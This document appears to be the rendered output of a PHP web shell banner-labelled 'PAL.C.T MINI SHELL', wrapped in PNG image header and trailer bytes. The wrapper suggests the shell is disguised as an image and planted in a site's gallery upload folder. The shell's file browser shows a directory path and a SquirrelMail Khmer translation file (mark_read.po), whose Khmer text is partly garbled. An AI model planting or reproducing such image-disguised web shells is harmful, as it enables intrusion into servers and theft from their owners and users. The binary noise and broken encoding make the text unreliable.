‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/mark_read.po

# Khmer (km) mark_read Translation
# piseth <piseth_dv@khmeros.info>, 2008.
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2009.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: mark_read\n"
"Report-Msgid-Bugs-To: Paul Lesniewski <paul@squirrelmail.org>\n"
"POT-Creation-Date: 2007-10-26 06:57+0200\n"
"PO-Revision-Date: 2009-04-24 09:27+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

#: functions.php:60 functions.php:162 functions.php:341
msgid "read"
msgstr "បានអាន"

#: functions.php:61 functions.php:164 functions.php:342
msgid "unread"
msgstr "មិនបាន​អាន"

#: functions.php:111
msgid "mark all messages in this folder as read"
msgstr "សម្គាល់​សារ​ទាំងអស់​នៅ​ក្នុង​ážážâ€‹áž“áŸáŸ‡ ážáž¶â€‹áž”ាន​អាន"

#: functions.php:113
msgid "mark all messages in this folder as unread"
msgstr "សម្គាល់​សារ​ទាំងអស់​នៅ​ក្នុង​ážážâ€‹áž“áŸáŸ‡ ážáž¶â€‹áž˜áž·áž“​បាន​អាន"

#: functions.php:162
msgid "mark all messages in the above folders as read"
msgstr "សម្គាល់​សារ​ទាំងអស់​នៅ​ក្នុង​ážážâ€‹ážáž¶áž„លើ​ážáž¶â€‹áž”ាន​អាន"

#: functions.php:164
msgid "mark all messages in the above folders as unread"
msgstr "សម្គាល់​សារ​ទាំងអស់​នៅ​ក្នុង​ážážâ€‹ážáž¶áž„លើ​ážáž¶â€‹áž˜áž·áž“បាន​អាន"

#: functions.php:165
msgid "mark all folders"
msgstr "សម្គាល់​ážážâ€‹áž‘ាំងអស់"

#: functions.php:294
msgid "Mark Read Link"
msgstr "សម្គាល់​ážáŸ†ážŽâ€‹ážŠáŸ‚ល​បាន​អាន"

#: functions.php:297
msgid ""
"Select all Folders, which you want to appear with a mark as read-/unread-"
"link:"
msgstr "ជ្រើស​ážážâ€‹áž‘ាំងអស់ ដែល​អ្នក​ចង់​បង្ហាញ​ជាមួយ​សញ្ញា​សម្គាល់​ជា​ážáŸ†ážŽâ€‹áž”ាន​អាន/​មិន​បាន​អាន ៖"

#: functions.php:336
msgid "Toggle Special Folders"
msgstr "បិទ​បើក​ážážâ€‹áž–ិសáŸážŸ"

#: functions.php:337
msgid "Toggle All"
msgstr "បិទបើក​ទាំងអស់"

#: functions.php:339
msgid "Display links"
msgstr "បង្ហាញ​ážáŸ†ážŽ"

#: functions.php:340 functions.php:355 functions.php:364
msgid "none"
msgstr "គ្មាន"

#: functions.php:343
msgid "read/unread"
msgstr "អាន​/​មិនបាន​អាន"

#: functions.php:347
msgid "upper"
msgstr "លើ"

#: functions.php:349
msgid "lower"
msgstr "ក្រោម"

#: functions.php:352
msgid "shortened"
msgstr "បង្រួញ​ážáŸ’លី"

#: functions.php:354
msgid "brackets"
msgstr "វង់​ដង្កៀប"

#: functions.php:363
msgid "seperator"
msgstr "អក្សរ​បំបែក"

#: functions.php:380
msgid "Display 'mark all folders' link below the folder list"
msgstr "បង្ហាញ​ážáŸ†ážŽ 'សម្គាល់​ážážâ€‹áž‘ាំងអស់' នៅក្រោម​បញ្ជី​ážáž"

#: functions.php:384
msgid "Save"
msgstr "រក្សាទុក"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚